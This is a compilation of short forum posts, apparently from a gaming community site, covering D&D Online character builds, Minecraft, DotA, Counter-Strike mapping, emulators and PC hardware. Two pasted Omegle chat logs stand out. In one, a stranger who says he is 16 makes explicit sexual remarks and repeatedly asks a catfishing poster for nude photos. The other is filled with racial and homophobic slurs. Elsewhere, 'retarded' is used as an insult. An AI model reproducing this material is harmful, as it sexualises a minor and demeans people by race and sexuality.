If you don't want to pay any money you should make a healbot cleric (NOT A MELEE CLERIC THEY ARE TERRIBLE AND EVERYONE WILL HATE YOU IF YOU MAKE ONE) because everyone will always want you in their group, or a wizard because they get unreasonably powerful when they hit level 7. They kinda suck before that... but good god. Fire wall is a retardedly powerful spell. If you're terrible at games you should make a fighter or barbarian because they're by far the easiest to play. They only have a small number of special abilities though, so don't expect them to be particularly exciting to play. They only thing you really, REALLY shouldn't start the game as is a rogue. It takes a huge amount of skill to play a rogue effectively, and even though they are unbelievably powerful in the right hands, trust me when I say you'll just die constantly without doing anything if you try to play one right off the bat. They have the lowest hp in the game, draw aggro like a giant shining beacon, have god awful resistance to spells and most of their stats are devoted to non-combat abilites.

In Juley's Dex Monk Build For Brerylla by aaronjer:
The only manner with which you've annoyed me is by declaring things about DDO when I'm pretty sure you've never even played it.

Go play the game for a couple of weeks and then I won't be irritated no matter how thoroughly opinionated you are. It's entirely possible I'm just crazy and it's exactly like Everquest... but there's no way you could know that just by looking at a character build.

I came to my conclusion by playing the game and discovering that:

1. You have to manually aim nearly every spell by pointing with the mouse and timing when the spell will reach the target. Like a real game. This also means you can manually dodge most spells and projectiles.

2. For most characters when an enemy is trying to cut your face off with a sword you have to actually get the fuck up out the way instead of relying on a number roll. Very, very few characters actually use Armor Class.

3. You never have to target anything or stop moving to hit it, even with a melee weapon. If you swing a big axe it hits whatever is in its arc. This is probably the biggest difference from standard MMOs, in almost any game you have to stop moving when you attack... even Diablo 2 is plagued with that stupidity. You have no idea how right it feels to be able to run around while fighting in an MMO.

4. The game even steals kickass elements from Diablo 2 like piercing arrows so you run around trying to line up a a multi-shot that will hit like 7 dudes and instantly kill them all.

5. Two people playing the exact same character will have wildly different results based on general video game skills. No matter how good your character is you'll just die horribly if you don't have fast reflexes.

6. As I've mentioned before, the game actually punishes you for grinding. It is the only game I know of, MMO or not, that will be mean to you for trying to grind. You can't just stand in one spot and farm respawning monsters, as killing monsters doesn't give you any xp. You can't keep farming the same quest because the xp you get for it drops VERY quickly, and never goes back up again. Loot will stop spawning in a quest as well if you try to farm it. In some cases the game will actually hit you with debuffs or even kill you if you're trying to grind.

7. There is no penalty for dying so there is no reason to sit around trying to level up on boring easy quests. You can always dive into the hardest challenge available. And... everyone does... it's pretty hilarious. Quest failure is VASTLY more common than success.

In Juley's Dex Monk Build For Brerylla by aaronjer:
You don't understand. If you haven't played several MMOs just trust me. You don't understand. MMO is a terrible name for the genre. What MMO really means is grinding with a chat box. That is ALL it means. The grind might have some different art attached to it but in the end there is no real difference between something like Everquest, Asheron's Call, WoW or even EVE. They're all the same thing. All you do is grind. The only fun there is to have is by talking with people.

The reason DDO is different is because people play it single player. I'm usually not playing with other people or even talking to them. The game is fun on it's own without any interaction with other people. No other MMO can come close to making that claim. And I'm not just playing through something to level up or grind an item, I don't get anything out of the quest other than the fun of playing it at least half the time.

In Juley's Dex Monk Build For Brerylla by aaronjer:
Actually most MMO people hate DDO. The general opinion is that it's too hard and fast paced. I'd say about 1/3 of the population is Action RPG people who have never played other MMO's, 1/3 is people who are only playing because it is D&D, and they don't even know what an MMO is, and the last 1/3 are actual MMO players who got over their grindlust and decided to play a real game.

In Crystalized by phoenix_r:
I agree, molkeebits, bit I think he does OK with it and at least does some stuff live/can improvise. On the other hand it's not like he was playing bongos in the acoustic version...he should probably learn to play real drums.

In Juley's Dex Monk Build For Brerylla by aaronjer:
Character Build!

Lawful Neutral Halfling <-- (LN alignment is very important. Monks arbitrarily automatically pass UMD checks on handwraps. Being good = no benefits and you take more damage from evil creatures.)

34-Point Build Stats
Strength: 14
Dexterity: 18
Constitution: 14
Intelligence: 8
Wisdom: 15
Charisma: 8

(Additional points you get on level up go into dex and wis. I'd suggest 4 dex and 1 wis if you're using mostly +1 weapons, and 2 dex 3 wis if you're using mostly higher bonuses. If you're not sure what weapons you will have stick with 4 dex 1 wis to play it safe.)

Skills
Balance
Jump
Concentration
Tumble (Only if you use a +2 intelligence tome)

Feats
Level 1: Toughness, Two Weapon Fighting
Level 2: Stunning Fist
Level 3: Weapon Finesse, Fists of Light
Level 6: Power Attack, Luck of Heroes
Level 9: Improved Two Weapon Fighting
Level 12: Past Life: Disciple of the Fist
Level 15: Greater Two Weapon Fighting
Level 18: Dodge (This isn't important. You can get just about anything for this feat and you're not going to ruin your character)

Enhancements
I haven't made a halfling monk before. Your enhancements will be pretty different from mine. Just take Shintao, Wind Stance, Toughness and Wis/Dex enhancements as soon as it lets you.

In between take The Receptive Earth, Restoring the Balance, Difficulty at the Beginning, and Lifting the Veil in no particular order. After you have all four of these you can take Rise of the Phoenix whenever more important things aren't available.

Take Halfling Cunning/Guile/Luck bonuses last, in this order of importance:

Will Saves
Reflex Saves
Cunning
Guile
Fortitude Saves (Monks very rarely need to make fortitude saves, because they're immune to everything naturally.)

At low levels if you're forced to take something that isn't in this list go for concentration/balance/jump/tumble skill enhancements in that order until you can take something better.

I really don't actually know what enhancements are going to be available to you at what level because of the halflingness, but, it's not a big deal as you can reset them every 3 days anyway.

Now you're probably going to ask me about Green Steel and Dragontouched, right?


In In game map testing problems.(vhe - cs 1.6) by Curz-:
Hey!

When i compile my map and play it, then my player is moving slow.(in a normal server it feels like there im moving faster)
And i can't see my hands unless i have a gun. I want that the players would spawn with a USB ( if CT) , and a knife. And with a Glock (if T) and a knife.
I dunno if u understood me :P



In Valve Hammer Editor ''send error report or don't send'' error. by Curz-:
Hey guys !


I use Valve Hammer Editor(to make maps for CS 1.6), and i get some errors...When i press F9 and ''Go'' to test my map then a Valve Hammer Editor error box apprears that says : ''Valve Hammer Editor has encoured a problem and needs to close. We are sorry for the inconvenience.'' And then i can choose - send error report or ''don't send'' it. If i press don't send then Valve Hammer Editor just closes.When i press ''Send Error Report'' then it sends some kind of a report and Hammer closes.



I really want to test my map and play it in CS 1.6 but i can't because of that error.And also sometimes when i save my map as a MAP. file and then close VHE and open the map i just saved then the MAP. file is empty.

Help Please !



Thank You !

In The M-I-N-E-C-R-A-F-T Truck by NatureJay:
It seemed like later attempts made the game more like a bad version of Age of Wonders. But the reduction of features and functionality was the worst part. Going from nine towns to like... five? And some of them didn't even really make sense, like why were the demons and the necromancers shacking up? And why the hell would building one type of unit preclude me from building another? I want options, damnit. Also the whole 2d 3d thing you said because pretty things are important.

Anyway, Minecraft is also a game that you play on a computer.

In The M-I-N-E-C-R-A-F-T Truck by NatureJay:
Definitely not.

It did make me want to play Heroes 3 again though. I wish I knew why that was the only good game they made in the series.

In The M-I-N-E-C-R-A-F-T Truck by Down Rodeo:
Ah, you say this, but the overheating is far more to do with my laptop than it is to do with Java. This thing has worse thermal dissipation than a woolly mammoth.

This is why I will one day build myself a big sexy computer. I can then stop attempting to play games on this thing.

In The M-I-N-E-C-R-A-F-T Truck by buq25:
I got to know about minecraft from youtube, after a couple of bored hours. I got it and all my friends went like "noooes" before playing it.

I managed to lure them both in, they now spend most of their time playing Minecraft or swearing to Notch for making it too "bad". Bad as in "I can't play, it sucks!"

In The M-I-N-E-C-R-A-F-T Truck by NatureJay:
I don't know if I qualify. I didn't play it when I knew I didn't have time to play it, but when the LAN party came around and people said LET'S PLAY MINECRAFT, I did.

In The M-I-N-E-C-R-A-F-T Truck by aaronjer:
I'm one of very few people I know who didn't resist it at all. Milkz was all like, "Come play Minecraft" and I was like "Where do I type in my credit card info?"

In The M-I-N-E-C-R-A-F-T Truck by aaronjer:
Lots of people do that. Then they eventually play it and are like "WTF THIS IS AWESOME WHY DID I TAKE SO LONG TO PLAY THIS?!"

So, basically, you're retarded.

In The M-I-N-E-C-R-A-F-T Truck by SRAW:
I still refuse to play minecraft

In The Official Omegle™ Truck by Outcast:
I feel sorry for him ... lol

Stranger: how big are your tits?
You: you mean jugs?
Stranger: yeah
You: well
You: big enough to fill a bucket with milk
Stranger: pics
You: dariya1991@hotmail.com
You: see you there :)
Stranger: ok
Stranger: (:
You: u added me?
Stranger: not yet
Stranger: i have to open it
You: ok
Stranger: there
You: cool
Stranger: can i see your jugs?
You: wait i'm putting the cam on
You: can you see my pic?
You: some people can't
Stranger: you didn't accept yet
You: hmm
You: hold on a sec
Stranger: ok
Stranger: did you accept yet?
You: yes but it seems there's a problem
You: i have no idea
Stranger: does it say im online?
You: no that's why i'm worried about
You: though i did accept it shows you offline
Stranger: am i bloocked?
Stranger: blocked*
You: nope
Stranger: i sent one again
You: ok
You: are you holding anything?
Stranger: what do you mean?
You: well..
Stranger: ?
You: i will have to go for now
Stranger: why
You: i have to hang out with some friends
Stranger: send a picture through email quickly?
You: i will do later
Stranger: do you have a picture on your computer
Stranger: ?
You: no only on msn
You: i have set it so it appears only this one wherever i login
Stranger: why dont you get your friends to come over and play with eachother?
You: i don't know it it's possible today but where do you live at?
Stranger: in canadad
Stranger: canada*
You: more specifically?
Stranger: ontario
Stranger: tell me where you live?
You: quebec :)
Stranger: i've been there before. (:
You: cool
Stranger: can you drag the picture into this chat?
You: how?
Stranger: do you have your msn picture saved on your computer?
You: unfortunately no
Stranger: can you take a picture quick?
You: well i gotta go
You: i will see you later
You: by the way how old are you?
Stranger: how big are they?
Stranger: and im 16
You: well big enough :P
You: not too big but big
Stranger: bra size?
You: 25
Stranger: send a pic
You: of what?!
Stranger: you
You: how lol
You: i gotta rush
Stranger: do it really quick
You: cant
Stranger: take off your shirt and take a pic really quick
Stranger: with your webcam
You: lol
You: im not superman
You: or superwoman
Stranger: please? (:
You: i will take as much pics as you want but not now :(
You: they are calling me
You: i m late
Stranger: fine
You: will see you later babe :D
Stranger: i wanna fuck you
You: :P
Stranger: my cock is so hard
Stranger: one pic
You: i think i can do something for ya
Stranger: ?
You: wait
Stranger: ok
Stranger: ?
You: but you said you re in ontario
You: nvm
Stranger: damn
You: i could tell you where we are about to go
You: but anyway
Stranger: take one pic
Stranger: please
You: too late sorry
You: turning off
Stranger: fuck
You: indeed xD
You: bye :)
Stranger: i wanna see your tits
You: you will
You: later
Stranger: how
You: i ll try and do something with ms
You: msn
You: but pls i m in a hurry
Stranger: will you show me everything?
You: you shouldnt even ask that
You: ofc
Stranger: ok
You: bye
Stranger: bye
You have disconnected.

In Anyone knowledgeable in the car stereo field? by Rockbomb:
Mmk. Where do ohms come in to play? On all the amps I see it'll say like:
600 Watts x 1, at 2 ohms <= 1% THD+N
300 Watts x 1, at 4 ohms <= 1% THD+N

So the more ohms, the less watts.

In Wii Virtual Console games? by NatureJay:
No shit. It seemed like for a time they were all just going out of their way to come up with an earlier and more complicated origin story. Now you play as embryonic Link. You'll get a sword in the final hour of gameplay. Divide those cells, bitches.

In Wii Virtual Console games? by buq25:
Well, I don't see RPGs as something with story telling. I see them as the games you have to play more than 30 hours to get halfways into the game.

I've always seen Zelda as one of those but greatly better. Not good enough for me, though. Not if I have to pay for it to test it. Except, like an emulator.

Well, my emulator seems to love crashing after I got windows 7, with the longest non-stop playing I've had on it now is 30 min. Like, defeating Crookomire in Super Metroid for it to crash and force me to replay that boss. The eleventh time...

I doubt I'll test Zelda that way.

Speaking of Zelda, the most entertaining-looking Zelda game would be Majora's Mask.

In Wii Virtual Console games? by NatureJay:
One of the things you'd want to consider is that you'd want games that were actually more fun to play with a controller than to emulate. For example, I don't see much that would be gained by having a controller when playing 90% of RPGs, so throw those out the window right now, Secret of Mana and Super Mario RPG excluded. GET THOSE. (play Earthbound too, but without a controller)

The game that should be number one on your list for reasons to obvious to articulate is River City Ransom which is indisputably mankind's crowning achievement. Close behind that would be Legend of the Mystical Ninja and Kirby Super Star.

* You've already got Super Metroid, so that's good.
* If you feel like blowing a thousand points, I recommend Mega Man 9 and Mega Man 10, 9 probably moreso than 10, but that's kind of if you're feeling old school. For the standard, cheaper Mega Man games, 2 or 3.
* Any of the pre-N64 Zelda games would be solid picks, as would Super Mario 3. NINTENDO
* aaronjer would yell at me if I didn't also mention Streets of Rage 2, which is the best standard, side-scrolling beat 'em up ever created and something we can both play for days on end.
* Metal Slug 2 was a great arcade game, though I don't know how it would function on Virtual Console.
* ActRaiser had a weird blend of platforming and simulation but I don't think it's something that has to be played with a controller.
* Balloon Fight is great fun for old arcade stuff.
* Castlevania is a platform standard bearer, and I'd recommend 3 or Rondo of Blood but both are quite hard. Same goes for Ninja Gaiden, the first game being the hardest and the others being somewhat easy. Vectorman is also worth a look though I'm the only person that ever knew about it (because I had a Genesis!).
* If you never played the Earthworm Jim games, do so, just be warned that they can be deceptively hard for how goofy they are.
* Donkey Kong Country is also a great series and one that's going to keep you occupied for hours.

In Wii Virtual Console games? by buq25:
So, I found out about Nintendo's Virtual Console a while ago and didn't think much about it, so it just slipped past. Later I saw the Wii Classic Controller, it also just went past barely noticed.

Today (actually yesterday(for me), 2 hours ago) I saw a youtube comment on a Super Metroid video of the Wii Virtual Console and Wii Classic Controller being great to play these, so I checked them up. The boner-inducing power of those 3 combined took me out.

Sadly, there's a problem. You (I) can't buy wii points less than the size of 2000 Wii points and my list of games goes to 2600 Wii points.

The games I AM getting are Super Metroid, Super Mario World and Super Mario 64. Donkey Kong 64 isn't available (yet, hopefully).

So are there any games you can reccomend to me, since I missed the gaming during the 80-90ies(and probably up to around 2005 as well)?

Please make a list and I'll check them out. I'd be grateful. Now you can list NES, SNES, Nintendo 64, Sega Master System, Mega Drive/Genesis, TurboGrafx-16/PC Engine, Neo Geo, Commodore 64, MSX. Now I only know a few of those, I just took them straight from Wikipedia's list of allowed consoles on Nintendo's Virtual Console.

In Fan Problems by Mate de Vita:
I can't play that video :/
Can you physically get to the fan?

In Help by SolidKAYOS:
fedex _ said:
SolidKAYOS said:
But your comp isnt as bad as mine?



im using a laptop , my laptop dont even have a graphic card lol

you should be able to play it , put everything low

I cant even play DDO on low without trouble...But that may have been the cause from so many people in one place.

In Help by fedex _:
SolidKAYOS said:
But your comp isnt as bad as mine?



im using a laptop , my laptop dont even have a graphic card lol

you should be able to play it , put everything low

In Help by fedex _:



hmm , i can play it look at my youtube vid cause i recored it with fraps and it was playing good for me , or try putting everything low even distance view set it all low

In Tomb Raider Anniversary by Down Rodeo:
At least you are not alone. Or something. It might just be that the emulation for full 3D is dodgy. It is 3D, right? I have no idea.

In other news, I bought Tomb Raider: GoL, because I plan to play it through with a friend and put crazy videos on the internets.

In Help by Outcast:
You can buy a decent pc for about 500$. (actually more than good to play Oblivion)

In Help by SolidKAYOS:
Down Rodeo said:
Outcast said:
You can also play it on Xbox 360 or Ps3 if you have any of those,it's a cheaper solution instead of upgrading your pc.

He wants the mods likes.

Yes yes i do. i would look into modding my xbox for it but i read not to try it for it. :(

In Help by Down Rodeo:
Outcast said:
You can also play it on Xbox 360 or Ps3 if you have any of those,it's a cheaper solution instead of upgrading your pc.

He wants the mods likes.

In Help by SolidKAYOS:
I play it on 360 but i want it for pc.

In Help by Outcast:
You can also play it on Xbox 360 or Ps3 if you have any of those,it's a cheaper solution instead of upgrading your pc.

In Help by Down Rodeo:
Generally speaking, Intel graphics cards are a no-go. Though they can actually play World in Conflict...

In Help by SolidKAYOS:
Of course id play other games too..but this is my goal...

In Help by SolidKAYOS:
Ok i wanna play Oblivion badly..and any other games on PC so i can mod and play with friends.But my computer is SHIT.
Needed for Minimum:
RAM
Minimum: 512 MB
You Have: 382.0 MB

Video Card
Minimum: 128MB Direct3D compatible video card (NVIDIA GeForce FX 5700+ / ATI Radeon 9500+)
You Have: Intel(R) 82845G Graphics Controller

Features: Minimum attributes of your Video Card
Required You Have
Video RAM 128 MB 64.0 MB
3D Yes Yes
Hardware T&L Yes No
Pixel Shader version 2.0 0.0
Vertex Shader version 2.0 0.0

--
Recommended:
CPU Speed
Recommended: 3 GHz
You Have: 2.52 GHz

RAM
Recommended: 1 GB
You Have: 382.0 MB

Video Card
Recommended: 128MB Direct3D compatible video card (NVIDIA GeForce 6800+ / ATI Radeon X800+)
You Have: Intel(R) 82845G Graphics Controller


Features: Recommended attributes of your Video Card
Required You Have
Video RAM 128 MB 64.0 MB
3D Yes Yes
Hardware T&L Yes No
Pixel Shader version 2.0 0.0
Vertex Shader version 2.0 0.0

--
..can anyone tell me a cheap way to fix my problem? :)

In Christmas Presents by SolidKAYOS:
Theres some bugs online where when you spawn your gun dissapears and so your aiming with your p;alm. Unless you have a sniper then its scoped and ok. My first time playing i also got spawn glitched and became invulnerable but was unable to move/nor see my char but our Father tolod us it rarely happens. Its never happend since so.

The story im not too far in..im actually stuck. But its really fun. I particularly enjoy the commanding squads feature of the game allowing you to lead your team fully, saying theres no one els on the team. but me and Jigsaw is usually on teams and he usually has the anti-tank team and i have the sniper team plus the rest of the squads allowing me to command and sit back in the back and snipe.. Its realism is also awesome being able to shoot a guy in the leg, he cant sprint. Arm: bad aiming. Heart: Dead. Head: dead.. Plus you can incapacitate them or just wound them enough to bleed-out if they dont dress their wounds..(If i forget anything els Jigsaw will probably fix this) But not many people play it cause of main stream games.(Cod)

And there is expansions for new maps but still not much. But i mean if you like a game like this its a good 20 bucks to spend.

In How to give players health regeneration if you didnt know by guava:
Experienced mappers will know this but I didn't so in case anyone else can make good use of this ill post. Just set a trigger_hurt that covers the entire area you want the regen to occur, then set the damage to a negative number like "-chickennuggets". I think I used -40 to heal players to full hp in somewhere around 3 seconds. It's cool but I couldn't figure out how to give players 100+ hp I think some kind of mod is needed. Also, you will still die if someone does 100 damage to you near instantly like an awp shot to the dome or some quick deagle headshots. This is pretty fun to play around with though and players can last a lot longer during rounds this way.

In New problem, step 7 [help] by mato_mato:
when you writed all right clics File->Save as... and write catpee.bat and chose "all files". Then click save. Then click on catpee.bat if all right it writes: 1 file is copied Press any key to continue so if it dont writed ....error.... it right, (look if you doesn´t have all 9 files in .../.../.../cstrike/maps, if not do this:)copy all files what names catpee (without catpee.bat ,catpee.txt,catpee.map,.catpee.rmf)to cstrike/maps and lets play!

you must have zhlt comiler´s files at same folder with your map and with batch file.

In Fun With Windows Speech Recognition by sprinkles:
Here's what Windows thought I said:
windows said:
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In Tomb Raider Anniversary by Mate de Vita:
Anyone? What did you think about it?

To me this was one of the best games I have every played, it's in the top part of my top single player games list, along with the two CoD MWs, Dragon Age Origins, GTA VC and SA, and also NFS Porsche Unleashed. Yeah, yeah, I have a weird top games list, I don't care about your opinion on that.

Anyway my point is that my opinion on TRA is biased, due to the fact that it's a remake of TR1, which is one of the first games I ever played, and is to this day one of my absolute favourites (unfortunately I can't play it because for some reason it works at like 3 seconds per frame if I run it in DOSBox or in compatibility mode - I haven't tried on my better computer yet, though). So I'm wondering how an unbiased observer without nostalgia sees TRA. I'm guessing as a Tomb Raider rip-off of Prince of Persia?

In Did you know? by molkman:
Seriously! You still play CS? That's so 2000-and late!

In OMG OMG OMG by Rockbomb:
phoenix_r said:

Gaahl will fucking make you drink your own fucking blood.

Ahaha, gorgoroth... I remember reading an article where people all around the town were complaining because of some smell, and it ended up being gorgoroth throwing around severed goat heads on stage... can't get much more awesome than that.

But thats not what this thread truck is about.
Sadly, In Flames is probably just gonna play in Europe... But there's always hope

In The M-I-N-E-C-R-A-F-T Truck by sprinkles:
Do you guys still play this?

Caves fucking suck. Whenever I make one it always fills up with water. ,'(

In Willing To Trade Again by fedex _:
Css For 1.6

Or i will trade a Call Of Duty MW2 For 1.6


my friend gave me a mw2 account but u need to play it on russian lang for some strange reason


ONLY GONNA TRADE WITH PEOPLE I KNOW , If i don't know you too bad ,

In Translation Telephone by phoenix_r:
Quote:
Looks good! It passes the ‘circular translation test’ – putting the Spanish back into Google Translate gets the original English that we wanted translated. As an aside, if you ever find yourself online with some time to kill, play a game of ‘telephone’ with an online translation tool: start with a phrase, and translate it from English through one or several languages. When you think it’s sufficiently scrambled, translate it back to English and see how far off it is.

English > Hungarian > Serbian > Icelandic > English =

Lookin 'good! This corresponds to the 'circular translation' - put the Spanish back to English with Google Translate on the original, we mean that aside, if you ever find yourself in line for some time to kill, play a game. " Phone "is an online translation tool: the beginning of sentences and the English translation of one or more languages, if you think you have scrambled eggs, translated into English back and see how far ..


Nevermind the hoohaa at the top about Spanish/English translation, I only kept it in because I didn't want to re-translate the rest of the statement without it.

GO FORTH, SCRAMBLE, AND POST!

In LoL by aaronjer:
I play HoN without paying for it. You must be doing something wrong. HoN has a very thorough match finding system. It is very easy to find super-nub games that do not qualify as competitive in the least. Well, other than the competition of who can take the longest to get to a god damn lane.

In how did YOU found superjer.com? by fedex _:
sprinkles said:
aaronjer said:
And Jake?!. Seriously. Get on the superjer.com vent server around 4PM-2AM and I'll very likely be on, and then we can play Dota. Not playing Dota is a crime.

Superjer has a vent?



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In how did YOU found superjer.com? by sprinkles:
aaronjer said:
And Jake?!. Seriously. Get on the superjer.com vent server around 4PM-2AM and I'll very likely be on, and then we can play Dota. Not playing Dota is a crime.

Superjer has a vent?

In LoL by buq25:
aaronjer said:
DotA and HoN are also free. You are retarded.

DotA is free, sure. It's fun if you ignore the graphics, movement limit, spell buttons being the way they are, the unbalance, that it's made on an RTS engine that doesn't really support it, that the only players that were (and especially those who are) get pissed on you if you try to learn how to play it, DotA is actually kinda fun.

Heroes of Newerth is not free. If you go to their website there is a "buy your account" button, all big and red.

While speaking of LoL and HoN, it's more like the difference between SC2 an RTS that isn't as compeditive. You go to LoL to have fun, you go to HoN to win.

In I thermonuclear bomb'ed on my computer, is that healthy for it? by fedex _:
the_cloud_system said:
i got mad at my desktop computer. i only have 40 gigs to it and i had 4 free gigs left.
i wanted to play steam on there and there was simple no space left on the disk so... i just wrecked my desktop, moved pictures to my laptop and a shit tone of stuff but, yah... i cleaned 30 gigs out
i didn't wanna crash it and do all the updates
thought you would wana know that >_>

is it healthy for the computer to lose that much and stuff?



the best way to make it faster , but make sure you didnt delete any windows shit

In I thermonuclear bomb'ed on my computer, is that healthy for it? by the_cloud_system:
i got mad at my desktop computer. i only have 40 gigs to it and i had 4 free gigs left.
i wanted to play steam on there and there was simple no space left on the disk so... i just wrecked my desktop, moved pictures to my laptop and a shit tone of stuff but, yah... i cleaned 30 gigs out
i didn't wanna crash it and do all the updates
thought you would wana know that >_>

is it healthy for the computer to lose that much and stuff?

In LoL by aaronjer:
Explaining specifics when you've never played HoN or DotA would be pointless. LoL and HoN/Dota are about as different as TFC and TF2. Pretty damn different, but there are similarities. Just go play HoN or DotA and then knowledge will be yours.

I prefer HoN because I never got bored of DotA and LoL feels like a cheap knockoff when compared to it. Same kinda thing with the TF games.

In MGO by the_cloud_system:
my internet sucks so i cant dont play often
IGN the_cloud_system

look at the period on my signature

In MGO by Rockbomb:
the_cloud_system said:
ps3

Obviously.
Whats your IGN? Do you play often?
I just turned level 5, btw

In Zelda Emulator by fedex _:
sprinkles said:
I decided to go with the project64 emulator so I can change the controls. I noticed if you don't limit the fps the game plays at hyper-speed!



to play it the best way go buy a xbox 360 controller and set the keys thats how i play Mario 64

In LoL by phoenix_r:
buq25 said:
I'm. And I've done for a while.
Check out "my" truck here:
http://www.superjer.com/forum/my_pictures.php
Please tell me you play on the American servers...

Yeah, I play on american servers. We should be buddies! That's a nice Mordekaiser picture in that truck you linked, he's my favorite.

In LoL by buq25:
I'm. And I've done for a while.
Check out "my" truck here:
http://www.superjer.com/forum/my_pictures.php
Please tell me you play on the American servers...

In LoL by phoenix_r:
League of Legends is awesome. I'm sure most of you out there are all 'DotA this IceFrog that blah blah blah' but I don't feel like buying another copy of WC3 and I can't find my old keys, so DotA is right out (until DotA 2, gogo standalone). Does anybody here play LoL? It's free, why not?!

In Pondering... by the_cloud_system:
for me...id actualey rather get the console to play the game (but i would realey like to play twilight princes on the computer...)

In Who likes American Football? by Rockbomb:
That was pretty win.
We did something similar when I played in middleschool... there was a fake QB that that started yelling stuff like "coach I forgot the play!" and started walking towards the sideline, then the ball is hiked to the real QB and he walks through everyone like in that vid

In Zelda Emulator by sprinkles:
Anyone know where I can get one? I have a huge craving to play the Ocarina of Time, and no Nintendo 64. :/

In Party by SRAW:
I know you moved on, but the original dota is still fun, and anyways HoN = waste of potential just to play one freaking map!

and have you heard valve is making dota 2?


In any one dotas? by the_cloud_system:
ok dota came on game-informer.
tell me what i need to do to play it online[/sarcasm]
i already have the Warcraft expansions

In http://www.superjer.com/sov.ps/ by aaronjer:
I know, right? Maybe he'll play some games with us now?

In The Official Omegle™ Truck by Outcast:
Stranger: YOUR ALL THAT I WANT
You: HO
You: I'M NOT
Stranger: i am not D:
Stranger: hahaha
You: lol
Stranger: sir do you whip your hair back and forth
You: lol what?
You: no
You: what is whip?
Stranger: OF COURSE YOU DO DO NOT LIE
You: id o
Stranger: I SUPPOSE NEXT YOU WILL TELL ME YOU KNOW WHAT AIR IS
You: lol now i know what whip is
You: so no
You: Air is pressure
Stranger: dont play smart with me boy
You: :)
Stranger: HIDE YO KIDS
Stranger: HIDE YO WIFE
You: yo
You: hide yoself
Stranger: JUST NO
Stranger: GTFO
Stranger: Y U NO UNDERSTAND
You: Hey nigg careful yo words
You: Shit's crazy yo
You: Y'know what i'm sayin'?
Stranger: YOU SPARKLE YOU KNOW WHY
Stranger: BECAUSE YOUR A FAGGOT JUST LIKE EDWARD CULLEN
You: Who da fuck is edward cullen
Stranger: OH DONT PLAY GAMES WITH ME BOY
Stranger: YOU KNOW EXACTLY WHO EDWARD CULLEN IS
Stranger: HE IS YOUR GAY LOVER
You: How 'bout getting yo bitch-ass kicked nigga?
Stranger: GO ON TRY IT YA HOMO
You: I'll do
You: I got skillz
Stranger: YEAH SKILLZ OF PUTTIN YO DICK UP OTHERS DUDES ASSES
Stranger: IM NOT INTO THAT SHIT THANKS
You: Ya includin' yours
You: Don't hide from meh
Stranger: YOU WISH
You: I SEE YOU
Stranger: YOU WISH YOU SAW ME YOU CANT EVEN SEE ME IN YOUR DREAMS
Stranger: MY BEAUTY IS OVERWHELMING
You: Okay,stop scratching yo head then
Stranger: im not actually
Stranger: therefor you fail at life
Stranger: end of story
You: You'll be back....you KNOW you want me :)
Stranger: go suck a big fuckin dick
Stranger: i do not want you
Stranger: norr will i ever
Stranger: i am not gay
Stranger: or a homo
Stranger: for that matter
You: Oh don't be afraid nigga
Stranger: trolololololol
You: Yo i think you just shit in yo pants huh
Stranger: goodbye fagg
Your conversational partner has disconnected.

-------------------------------------------------
(after 5 minutes)

Stranger: WHAT IS AIR?
You: Pressure nigga :)
You: Yo i'm back
Your conversational partner has disconnected.

--------------------------------------------------
(wtf same person again)

Stranger: air
Stranger: what is it?
You: pressure yo nigg
Stranger: pedobear?
You: ow
You: so you still think the same as b4?
You: huh
You: fuck u
Stranger: PEADOBEAR?
Stranger: are you forever alone?
You: i'm forever your nightmare
Stranger: you are!?
You: y'know what u'm sayin' nigga?
You: hahhaah
You: typos are cool
Stranger: Y U NO KNO
Stranger: yo' momma's cool too
You: cuz i ain't a fag like u
You: ya she's cool
Stranger: orly?
You: yours is not though
You: yep
Stranger: oh cool
Your conversational partner has disconnected.

----------------------------------------------
You: Air?
Stranger: what is air?
Stranger: :O
Stranger: TROLLIN?!
You: NOT!
Stranger: D;!
You: D:
Stranger: Forever alone.
You: No,not at all
Stranger: Me gusta? :3
You: Me lafren?
Stranger: Oui :3
Your conversational partner has disconnected.
or send us feedback

-----------------------------------------------
Stranger: I AM LUKE SKYWALKER
You: o rlly?
Stranger: YEH
Stranger: I AM NOW DAVID TENNANT
You: Well done sir
Stranger: I AM NOW JOHNNY DEPP
You: kewl
You: I AM NOW AIR
Stranger: I AM NOW MEGAN FOX
Stranger: WHAT IS AIR?
You: Pressure nigg
You: :)
Stranger: A MIXTURE OF GASES ACTUALLY
You: Not
Stranger: YES
You: Naw
Stranger: a mixture of gases (especially oxygen) required for breathing; the stuff that the wind consists of; "air pollution"
You: o rlly?
You: i think u wrong
Stranger: NO
You: Air is mainly composed of nitrogen, oxygen, and argon, which together constitute the major gases of the atmosphere. The remaining gases are often referred to as trace gases
Stranger: FUCK OFF
Your conversational partner has disconnected.

In I need a script about cs 1.6 awp fast switch by sprinkles:
SpiKe' said:
hey i know how to play!

Did I say you didn't?
SpiKe' said:
i am very good in awp!

AWP is for pussies.
SpiKe' said:
but i just want to be faster! is it bad?

Then get better reflexes not a script.

In I need a script about cs 1.6 awp fast switch by SpiKe':
hey i know how to play! i am very good in awp! but i just want to be faster! is it bad?

In I need a script about cs 1.6 awp fast switch by sprinkles:
Or you can actually play the game.

In Names by melloyellow582:
Anyone got some spiffy non-copyrighted ready-to-go plug-n-play band names?

I'm trying to think of some stuff that isn't terribly cliché or something like that.

In Party by aaronjer:
Dude, DotA with nothing but people who have never played it LANing with each other would be a blast. Playing online would suck.

I moved on, SRAW, I play HoN now. All the other DotA clones suck balls, it's the only good one.

In Party by buq25:
SRAW said:
Play dota (rts that you guys probably never heard of)

And aaronjer, dota 6.69c is out!

If you mean DotA as in defence of the Ancients, it's not a rts. It's a MMOBA (massive Multiplayer Online Battle Arena) basen on the engine to a rts game.

If there is an actual rts named dota, I have not yet heard of it.

In Party by SRAW:
Play dota (rts that you guys probably never heard of)

And aaronjer, dota 6.69c is out!

In Party by aaronjer:
Climb up on the roof and shriek incoherently at the sky.

Either that or play a free for all of an RTS none of you are good at.

In Steam Lag by sprinkles:
Why do I lag in CS 1.6 when I play on Steam? I downloaded non-Steam and I don't lag a bit. Steam 120-150 latency, non-Steam 20-30....

In DDO by aaronjer:
Update. I now commonly play as Kanaya and Loinbuster as well as the previously mentioned characters.

In Possibly Intarestin Discusshins by NatureJay:
I should probably give Wilco another shot one of these days. I listened to A Ghost is Born a few times but kind of got bored by it except towards then end when they were doing the Sonic Youth "and now we will play this guitar with a garden rake" thing.

I like Radiohead plenty, I'm just not of the opinion that some people are that they are the Jesus band.

In Possibly Intarestin Discusshins by Down Rodeo:
Fair play. Everyone should listen to The Suburbs by Arcade Fire, it's awesome.

In Tutorials by Down Rodeo:
